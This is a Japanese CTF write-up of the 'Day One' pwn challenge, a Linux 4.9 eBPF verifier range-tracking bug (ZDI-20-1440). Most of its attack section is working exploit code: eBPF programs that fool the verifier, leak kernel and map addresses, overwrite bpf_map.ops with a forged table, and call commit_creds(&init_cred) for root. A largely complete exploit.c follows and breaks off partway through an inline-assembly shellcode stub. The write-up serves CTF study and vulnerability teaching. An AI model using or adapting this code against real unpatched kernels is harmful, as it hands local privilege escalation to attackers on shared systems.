イントロ Link to this heading

いつぞや開催されたAIS3 EOF CTF 2020 Finals (全く知らない CTF…)。その pwn 問題であるDay Oneを解いていく。先に言うと本問題は去年公開された LinuxKernel の eBPF verifier のバグを題材にした問題であり、元ネタはZDI から公開されている。オリジナルの author はTW の人 で、問題の author はHexRabbit さん。

static Link to this heading

basic Link to this heading

basic.sh
 1/ $ cat /proc/version
 2Linux version 4.9.249 (root@kernel-builder) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) ) #8 SMP Mon1
 3/ $ cat /proc/sys/net/core/bpf_jit_enable
 41
 5
 6qemu-system-x86_64 \
 7  -kernel bzImage \
 8  -initrd rootfs.cpio.gz \
 9  -append "console=ttyS0 oops=panic panic=-1 kaslr quiet" \
10  -monitor /dev/null \
11  -nographic \
12  -cpu qemu64,+smep,+smap \
13  -m 256M \
14  -virtfs local,path=$SHARED_DIR,mount_tag=shared,security_model=passthrough,readonly

デバッグ用なのか、こちらで指定するディレクトリを virtfs でマウントしてくれる(今回は関係ない)。 SMEP 有効・SMAP 有効・KAISER 有効・oops->panic。

patch Link to this heading

patch.diff
 1diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
 2index 335c002..08dca71 100644
 3--- a/kernel/bpf/verifier.c
 4+++ b/kernel/bpf/verifier.c
 5@@ -352,7 +352,7 @@ static void print_bpf_insn(const struct bpf_verifier_env *env,
 6 			u64 imm = ((u64)(insn + 1)->imm << 32) | (u32)insn->imm;
 7 			bool map_ptr = insn->src_reg == BPF_PSEUDO_MAP_FD;
 8
 9-			if (map_ptr && !env->allow_ptr_leaks)
10+			if (map_ptr && !capable(CAP_SYS_ADMIN))
11 				imm = 0;
12
13 			verbose("(%02x) r%d = 0x%llx\n", insn->code,
14@@ -3627,7 +3627,7 @@ int bpf_check(struct bpf_prog **prog, union bpf_attr *attr)
15 	if (ret < 0)
16 		goto skip_full_check;
17
18-	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
19+	env->allow_ptr_leaks = true;
20
21 	ret = do_check(env);
22
23@@ -3731,7 +3731,7 @@ int bpf_analyzer(struct bpf_prog *prog, const struct bpf_ext_analyzer_ops *ops,
24 	if (ret < 0)
25 		goto skip_full_check;
26
27-	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
28+	env->allow_ptr_leaks = true;
29
30 	ret = do_check(env);

うーむ、なんというかZDI-20-1440CAP_SYS_ADMINがないとできないこと()を無理やり修正してる。若干予定調和感が否めないな。

vuln Link to this heading

ZDI-20-1440 Link to this heading

verifier の register range の更新ミス。利用している kernel が上記からも分かるとおり、4.9.249であり、これは影響を受けている数少ないバージョンの一つである。以下のようにadjust_reg_min_max_vals()においてBPF_RSH演算の際にdst_regの値の更新をミスっている。まんま ZDI-20-1440 のままである。

kernel/bpf.verifier.c
 1	case BPF_RSH:
 2 	/* RSH by a negative number is undefined, and the BPF_RSH is an
 3 	 * unsigned shift, so make the appropriate casts.
 4 	 */
 5 	if (min_val < 0 || dst_reg->min_value < 0)
 6 		dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
 7 	else
 8 		dst_reg->min_value =
 9 			(u64)(dst_reg->min_value) >> min_val;
10 	if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
11 		dst_reg->max_value >>= max_val;
12 	break;

patch の意味 Link to this heading

そもそも ZDI-20-1440 が LPE まで繋がらなかったのは、map を指すポインタに対する加法を行うのに CAP_SYS_ADMINが必要だったからである。BPF_ALU64(BPF_ADD)を行う際には、do_check()において以下のようにcheck_alu_op()が呼び出され、それが加算であり、且つ dst レジスタの中身がPTR_TO_MAP_VALUE又はPTR_TO_MAP_VALUE_ADJでない場合には、レジスタを完全にunknownでマークしてしまう([S64_MIN,S64_MAX]にされる)。

do_check()@kernel/bpf/verifier.c
1		if (class == BPF_ALU || class == BPF_ALU64) {
2			err = check_alu_op(env, insn);
3			if (err)
4				return err;
5
6		} else if (class == BPF_LDX) {
check_alu_op()@kernel/bpf/verifier.c
1		if (env->allow_ptr_leaks &&
2		    BPF_CLASS(insn->code) == BPF_ALU64 && opcode == BPF_ADD &&
3		    (dst_reg->type == PTR_TO_MAP_VALUE ||
4		     dst_reg->type == PTR_TO_MAP_VALUE_ADJ))
5			dst_reg->type = PTR_TO_MAP_VALUE_ADJ;
6		else
7			mark_reg_unknown_value(regs, insn->dst_reg);
8	}

それではこのenv->allow_ptr_leaksがいつセットされるかと言うと、bpf_check()do_check()を呼び出す直前にCAP_SYS_ADMINを持っているかどうかで判断している。

bpf_check()@kernel/bpf/verifier.c
1	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
2
3	ret = do_check(env);

即ち、CAP_SYS_ADMINがないとallow_ptr_leakstrueにならず、したがって map に対する加算が全て unknown でマークされてしまうため、map に対する OOB の攻撃 ができなくなってしまうというわけである。 今回のパッチは、2 つ目と 3 つ目でこの制限を取り払いallow_ptr_leaksを常にtrueにしている(1 つ目は log 表示のことなので関係ない)。

最新の kernel では Link to this heading

最初に ZDI の該当レポートを読んだ時、map ポインタに対する加算がCAP_SYS_ADMINがないとダメだということにちょっと驚いた。というのも、TWCTF の eepbf をやったときには、この権限がない状態で map を操作して AAW に持っていったからだ。というわけで新しめの kernel を見てみると、check_alu_op()において該当の処理が消えていた。すなわち、map ポインタに対する加法はそれが map の正答なメモリレンジ内にある限り non-admin に対しても許容されるようになっていた(勿論レンジのチェックはcheck_map_access()において行われる)。

というか、pointer leak が任意に可能じゃん… Link to this heading

というか、allow_ptr_leakstrueになっているため、任意にポインタをリークすることができる。例えば、以下のような eBPF プログラムで(root でなくても)簡単に map のアドレスが leak できる。

stack_leak.c
 1    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
 2    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
 3    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
 4    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
 5    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
 6    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
 7    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
 8    BPF_EXIT_INSN(),
 9    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
10    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8)
result.sh
1/ $ ./mnt/exploit
2[80] 0xffff88000e300a90
3[88] 0xffff88000e300a90
4[96] 0xffff88000e300a90
5[104] 0xffff88000e300a90
6[112] 0xffff88000e300a90
7[120] 0xffff88000e300a90
8[128] 0xffff88000e300a90
9[136] 0xffff88000e300a90

うーん、お題のために制限をゆるくしすぎてる気がするなぁ。。。

leak kernbase Link to this heading

0 に見える 1 をつくる Link to this heading

こっからは作業ゲーです。 まずは以下の BPF コードで verifier からは 0 に見えるような 1 をつくる。

make_1_looks_0.c
 1    /* get cmap[0] */
 2    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
 3    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
 4    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
 5    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
 6    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
 7    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
 8    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
 9    BPF_EXIT_INSN(),
10    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
11    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
12    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
13    /* get cmap[1] */
14    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
15    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
16    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
17    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
18    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
19    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
20    BPF_EXIT_INSN(),
21    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
22    /* fix r6/r7 range */
23    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
24    BPF_MOV64_IMM(BPF_REG_0, 0),
25    BPF_EXIT_INSN(),
26    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
27    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
28    BPF_MOV64_IMM(BPF_REG_0, 0),
29    BPF_EXIT_INSN(),
30    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
31    BPF_MOV64_IMM(BPF_REG_0, 0),
32    BPF_EXIT_INSN(),
33    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
34    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
35    BPF_MOV64_IMM(BPF_REG_0, 0),
36    BPF_EXIT_INSN(),
37    // exploit r6 range
38    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
39    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
40    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),               // r6 *= N

但し、control_mapはサイズ 8、要素数 10 の ARRAY である。[0]には常に 1 を入れ、[1]には常に 0 を入れておく。前半はただcontrol_mapから 0 と 1 を取得しているだけである。fix r6/r7 rangeと書いてあるところでバグを利用して 0 に見える 1 を作っている。ジャンプ命令が多いのは、R6/R7 の上限と下限をそれぞれ 1,0 にするためである。最後に、BPF_NEGにしているのは、leak の段階では leak したいものが負の方向にあるからである。最後に定数の Nをかけて OOB(R)を達成している。尚、この N を map から取ってきたような値にすると、MUL の時に verifier が dst を unknown にマークしてしまうため、プログラムをロードする度に定数値を N に入れて毎回動的にロードしている(前回 eBPF 問題を解いた時は N を map から取得した値にして何度も verifier に怒られた…)。 実際に log 表示を見てみると、以下のように R6 は 0 と認識されていることが分かる。

verifier-log.txt
 1from 28 to 31: R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0 R8=map_valup
 231: (75) if r7 s>= 0x2 goto pc+1
 3 R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0,max_value=1 R8=map_value(p
 432: (05) goto pc+2
 535: (7f) r6 >>= r7
 636: (87) r6 neg 0
 737: (27) r6 *= 136
 838: (0f) r9 += r6
 939: (79) r3 = *(u64 *)(r9 +0)
10 R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=0 R7=inv,min_value=0,max_value=1 R8=map_value(p
1140: (7b) *(u64 *)(r8 +0) = r3

leak from bpf_map.ops Link to this heading

今回は map type として ARRAY を選択しているため、struct bpf_arraystruct bpf_mapが使われる。構造体はそれぞれ以下のとおり。

この内、bpf_map.opsは、kernel/bpf/arraymap.cで定義されるようにarray_opsが入っている。これを leak することで kernbase を leak したことになる。

厳密に map からopsまでのオフセットを計算するのは面倒くさいため適当に検討をつけてみてみると、以下のようになる。

leak-bpf_map-ops.c
 1  int N=0x80;
 2  for(int ix=N/8; ix!=N/8+8; ++ix){
 3    printf("[%d] 0x%lx\n", ix*0x8, read_rel(ix*0x8));
 4  }
 5
 6 / # ./mnt/exploit
 7[128] 0xa00000008
 8[136] 0x400000002
 9[144] 0xffffffff81a12100 <-- こいつ
10[152] 0x0
11[160] 0x0
12[168] 0x0
13[176] 0x0
14[184] 0x0

AAR via bpf_map_get_info_by_id() [FAIL] Link to this heading

以前解いたeebpf では、bpf_map.btfを書き換えてbpf_map_get_info_by_id()を呼び出すことで AAR を実現できた。だが上のbpf_map構造体を見て分かるとおり、bpf_map.bfp というメンバは存在していない。kernel が古いからね…。というわけで、この方法による AAR は諦める。

forge ops and commit_creds(&init_cred) directly Link to this heading

本問では、上述したように map 自体のアドレスを容易に leak することができる。また、bpf_mapの全てを自由に書き換えることができる。よって、map の中に fake function table を用意しておいて、bpf_map.opsをこれに向ければ任意の関数を実行させることができる。取り敢えず、以下のようにすると RIP が取れる。

rip-poc.c
 1  const ulong fakeops_addr = controlmap_addr + 0x10;
 2  int N = 0x90;
 3  struct bpf_insn reader_insns[] = {
 4    /* get cmap[0] */
 5    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
 6    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
 7    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
 8    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
 9    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
10    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
11    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
12    BPF_EXIT_INSN(),
13    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
14    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
15    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
16    /* get cmap[1] */
17    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
18    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
19    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
20    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
21    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
22    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
23    BPF_EXIT_INSN(),
24    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
25    /* fix r6/r7 range */
26    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
27    BPF_MOV64_IMM(BPF_REG_0, 0),
28    BPF_EXIT_INSN(),
29    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
30    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
31    BPF_MOV64_IMM(BPF_REG_0, 0),
32    BPF_EXIT_INSN(),
33    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
34    BPF_MOV64_IMM(BPF_REG_0, 0),
35    BPF_EXIT_INSN(),
36    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
37    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
38    BPF_MOV64_IMM(BPF_REG_0, 0),
39    BPF_EXIT_INSN(),
40    // exploit r6 range
41    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
42    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
43    BPF_MOV64_REG(BPF_REG_7, BPF_REG_6),                // r7 = r6
44    // overwrite ops into forged ops
45    BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL),
46    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
47    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL),
48    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),
49    BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6),       // r8 += r6
50    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0),
51
52    // Go Home
53    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
54    BPF_EXIT_INSN()
55  };
56
57  int evilwriter= create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
58  if(evilwriter < 0){
59    errExit("reader not initialized");
60  }
61
62  // setup fake table
63  for(int ix=0; ix!=7; ++ix){
64    array_update(control_map, ix+2, 0xcafebabedeadbeef);
65  }
66
67  array_update(control_map, 0, 1);
68  array_update(control_map, 1, 0);
69  trigger_proc(evilwriter);
70  const ulong tmp = get_ulong(control_map, 0);

ここで Oops が起きた原因は、用意した faketable の+0x20 にアクセスし、不正なアドレス 0xcafebabedeadbeef にアクセスしようとしたからである。ジャンプテーブルの+0x20 というのはmap_lookup_elem()である。

さて、このように RIP を取ることはできるが、問題はもとの関数テーブルの全ての関数の第一引数がstruct bpf_map *mapであるということである。つまり、第一引数は任意に操作することができない。よって、関数の中でいい感じに第二引数以降を利用していい感じの処理をしてくれる関数があると嬉しい。その観点でkernel/bpf/arraymap.cを探すと、fd_array_map_delete_elem()が見つかる。これは、perf_event_array_opsとかprog_array_opsとかのメンバである。(尚、map_array_opsの該当メンバであるarray_map_delete_elem()-EINVALを返すだけのニート関数である。お前なんて関数やめてインラインになってしまえばいい)。

kernel/bpf/arraymap.c
 1static int fd_array_map_delete_elem(struct bpf_map *map, void *key)
 2{
 3	struct bpf_array *array = container_of(map, struct bpf_array, map);
 4	void *old_ptr;
 5	u32 index = *(u32 *)key;
 6
 7	if (index >= array->map.max_entries)
 8		return -E2BIG;
 9
10	old_ptr = xchg(array->ptrs + index, NULL);
11	if (old_ptr) {
12		map->ops->map_fd_put_ptr(old_ptr);
13		return 0;
14	} else {
15		return -ENOENT;
16	}
17}

xchg()は、第一引数の指すポインタの指す先に第二引数の値を入れて、古い値を返す関数である。そしてその先でmap->ops->map_fd_put_ptr(old_ptr)を呼んでくれる。つまり、array->ptrsの指す先に&init_credを入れておいて、map->ops->map_fd_put_ptrcommit_credsに書き換えればcommit_creds(&init_cred)を直接呼んだことになる。やったね!

一つ注意として、execve()でシェルを呼んでしまうと、socket が解放されてその際に map の解放が起きてしまう。テーブルを書き換えているためその時に Oops が起きて死んでしまう。よってシェルはsystem("/bin/sh")で呼ぶ。

exploit Link to this heading

exploit.c
  1#define _GNU_SOURCE
  2#include <string.h>
  3#include <stdio.h>
  4#include <fcntl.h>
  5#include <stdint.h>
  6#include <unistd.h>
  7#include <assert.h>
  8#include <stdlib.h>
  9#include <signal.h>
 10#include <poll.h>
 11#include <pthread.h>
 12#include <err.h>
 13#include <errno.h>
 14#include <sched.h>
 15#include <linux/bpf.h>
 16#include <linux/filter.h>
 17#include <linux/userfaultfd.h>
 18#include <linux/prctl.h>
 19#include <sys/syscall.h>
 20#include <sys/ipc.h>
 21#include <sys/msg.h>
 22#include <sys/prctl.h>
 23#include <sys/ioctl.h>
 24#include <sys/mman.h>
 25#include <sys/types.h>
 26#include <sys/xattr.h>
 27#include <sys/socket.h>
 28#include <sys/uio.h>
 29#include <sys/shm.h>
 30
 31// eBPF-utils
 32#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
 33#define BPF_REG_ARG1    BPF_REG_1
 34#define BPF_REG_ARG2    BPF_REG_2
 35#define BPF_REG_ARG3    BPF_REG_3
 36#define BPF_REG_ARG4    BPF_REG_4
 37#define BPF_REG_ARG5    BPF_REG_5
 38#define BPF_REG_CTX     BPF_REG_6
 39#define BPF_REG_FP      BPF_REG_10
 40
 41#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
 42  ((struct bpf_insn) {                          \
 43    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
 44    .dst_reg = DST,                             \
 45    .src_reg = SRC,                             \
 46    .off   = 0,                                 \
 47    .imm   = (__u32) (IMM) }),                  \
 48  ((struct bpf_insn) {                          \
 49    .code  = 0, /* zero is reserved opcode */   \
 50    .dst_reg = 0,                               \
 51    .src_reg = 0,                               \
 52    .off   = 0,                                 \
 53    .imm   = ((__u64) (IMM)) >> 32 })
 54#define BPF_LD_MAP_FD(DST, MAP_FD)              \
 55  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
 56#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)        \
 57  ((struct bpf_insn) {                          \
 58    .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
 59    .dst_reg = DST,                             \
 60    .src_reg = SRC,                             \
 61    .off   = OFF,                               \
 62    .imm   = 0 })
 63#define BPF_MOV64_REG(DST, SRC)                 \
 64  ((struct bpf_insn) {                          \
 65    .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
 66    .dst_reg = DST,                             \
 67    .src_reg = SRC,                             \
 68    .off   = 0,                                 \
 69    .imm   = 0 })
 70#define BPF_ALU64_IMM(OP, DST, IMM)             \
 71  ((struct bpf_insn) {                          \
 72    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
 73    .dst_reg = DST,                             \
 74    .src_reg = 0,                               \
 75    .off   = 0,                                 \
 76    .imm   = IMM })
 77#define BPF_ALU32_IMM(OP, DST, IMM)             \
 78  ((struct bpf_insn) {                          \
 79    .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
 80    .dst_reg = DST,                             \
 81    .src_reg = 0,                               \
 82    .off   = 0,                                 \
 83    .imm   = IMM })
 84#define BPF_STX_MEM(SIZE, DST, SRC, OFF)        \
 85  ((struct bpf_insn) {                          \
 86    .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
 87    .dst_reg = DST,                             \
 88    .src_reg = SRC,                             \
 89    .off   = OFF,                               \
 90    .imm   = 0 })
 91#define BPF_ST_MEM(SIZE, DST, OFF, IMM)         \
 92  ((struct bpf_insn) {                          \
 93    .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
 94    .dst_reg = DST,                             \
 95    .src_reg = 0,                               \
 96    .off   = OFF,                               \
 97    .imm   = IMM })
 98#define BPF_EMIT_CALL(FUNC)                     \
 99  ((struct bpf_insn) {                          \
100    .code  = BPF_JMP | BPF_CALL,                \
101    .dst_reg = 0,                               \
102    .src_reg = 0,                               \
103    .off   = 0,                                 \
104    .imm   = (FUNC) })
105#define BPF_JMP_REG(OP, DST, SRC, OFF)				  \
106  ((struct bpf_insn) {					                \
107    .code  = BPF_JMP | BPF_OP(OP) | BPF_X,      \
108    .dst_reg = DST,					                    \
109    .src_reg = SRC,					                    \
110    .off   = OFF,					                      \
111    .imm   = 0 })
112#define BPF_JMP_IMM(OP, DST, IMM, OFF)          \
113  ((struct bpf_insn) {                          \
114    .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
115    .dst_reg = DST,                             \
116    .src_reg = 0,                               \
117    .off   = OFF,                               \
118    .imm   = IMM })
119#define BPF_EXIT_INSN()                         \
120  ((struct bpf_insn) {                          \
121    .code  = BPF_JMP | BPF_EXIT,                \
122    .dst_reg = 0,                               \
123    .src_reg = 0,                               \
124    .off   = 0,                                 \
125    .imm   = 0 })
126#define BPF_LD_ABS(SIZE, IMM)                   \
127  ((struct bpf_insn) {                          \
128    .code  = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
129    .dst_reg = 0,                               \
130    .src_reg = 0,                               \
131    .off   = 0,                                 \
132    .imm   = IMM })
133#define BPF_ALU64_REG(OP, DST, SRC)             \
134  ((struct bpf_insn) {                          \
135    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
136    .dst_reg = DST,                             \
137    .src_reg = SRC,                             \
138    .off   = 0,                                 \
139    .imm   = 0 })
140#define BPF_MOV64_IMM(DST, IMM)                 \
141  ((struct bpf_insn) {                          \
142    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
143    .dst_reg = DST,                             \
144    .src_reg = 0,                               \
145    .off   = 0,                                 \
146    .imm   = IMM })
147
148int bpf_(int cmd, union bpf_attr *attrs) {
149  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
150}
151
152int array_create(int value_size, int num_entries) {
153  union bpf_attr create_map_attrs = {
154      .map_type = BPF_MAP_TYPE_ARRAY,
155      .key_size = 4,
156      .value_size = value_size,
157      .max_entries = num_entries
158  };
159  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
160  if (mapfd == -1)
161    err(1, "map create");
162  return mapfd;
163}
164
165int array_update(int mapfd, uint32_t key, uint64_t value)
166{
167  union bpf_attr attr = {
168    .map_fd = mapfd,
169    .key = (uint64_t)&key,
170    .value = (uint64_t)&value,
171    .flags = BPF_ANY,
172  };
173  return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
174}
175
176int array_update_big(int mapfd, uint32_t key, char* value)
177{
178  union bpf_attr attr = {
179    .map_fd = mapfd,
180    .key = (uint64_t)&key,
181    .value = value,
182    .flags = BPF_ANY,
183  };
184  return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
185}
186
187unsigned long get_ulong(int map_fd, uint64_t idx) {
188  uint64_t value;
189  union bpf_attr lookup_map_attrs = {
190    .map_fd = map_fd,
191    .key = (uint64_t)&idx,
192    .value = (uint64_t)&value
193  };
194  if (bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs))
195    err(1, "MAP_LOOKUP_ELEM");
196  return value;
197}
198
199int prog_load(struct bpf_insn *insns, size_t insns_count) {
200  char verifier_log[100000];
201  union bpf_attr create_prog_attrs = {
202    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
203    .insn_cnt = insns_count,
204    .insns = (uint64_t)insns,
205    .license = (uint64_t)"GPL v2",
206    .log_level = 2,
207    .log_size = sizeof(verifier_log),
208    .log_buf = (uint64_t)verifier_log
209  };
210  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
211  int errno_ = errno;
212  //printf("==========================\n%s==========================\n",verifier_log);
213  errno = errno_;
214  if (progfd == -1)
215    err(1, "prog load");
216  return progfd;
217}
218
219int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
220  int progfd = prog_load(insns, insns_count);
221
222  int socks[2];
223  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
224    err(1, "socketpair");
225  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
226    err(1, "setsockopt");
227  return socks[1];
228}
229
230void trigger_proc(int sockfd) {
231  if (write(sockfd, "X", 1) != 1)
232    err(1, "write to proc socket failed");
233}
234// (END eBPF-utils)
235
236
237// commands
238#define DEV_PATH ""   // the path the device is placed
239
240// constants
241#define PAGE 0x1000
242#define FAULT_ADDR 0xdead0000
243#define FAULT_OFFSET PAGE
244#define MMAP_SIZE 4*PAGE
245#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
246// (END constants)
247
248// globals
249int control_map;
250int reader = -1;
251// (END globals)
252
253
254// utils
255#define WAIT getc(stdin);
256#define ulong unsigned long
257#define scu static const unsigned long
258#define NULL (void*)0
259#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
260                        } while (0)
261#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
262                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
263#define REP(N) for(int moratorium=0; moratorium!+N; ++N)
264ulong user_cs,user_ss,user_sp,user_rflags;
265struct pt_regs {
266  ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
267  ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
268  ulong ax; ulong cx; ulong dx; ulong si; ulong di;
269  ulong orig_ax; ulong ip; ulong cs; ulong flags;
270  ulong sp; ulong ss;
271};
272void print_regs(struct pt_regs *regs)
273{
274  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
275  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
276  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
277  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
278  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
279}
280void NIRUGIRI(void)
281{
282  int ruid, euid, suid;
283  getresuid(&ruid, &euid, &suid);
284  if(euid != 0)
285    errExit("[ERROR] somehow, couldn't get root...");
286  system("/bin/sh");
287}
288// should compile with -masm=intel
289static void save_state(void) {
290  asm(
291      "movq %0, %%cs\n"
292      "movq %1, %%ss\n"
293      "movq %2, %%rsp\n"
294      "pushfq\n"
295      "popq %3\n"
296      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
297}
298
299static void shellcode(void){
300  asm(
301    "xor rdi, rdi\n"
302    "mov rbx, QWORD PTR [rsp+0x50]\n"
303    "sub rbx, 0x244566\n"
304    "mov rcx, rbx\n"
305    "call rcx\n"
306    "mov rdi, rax\n"
307    "sub rbx, 0x470\n"
308    "call rbx\n"
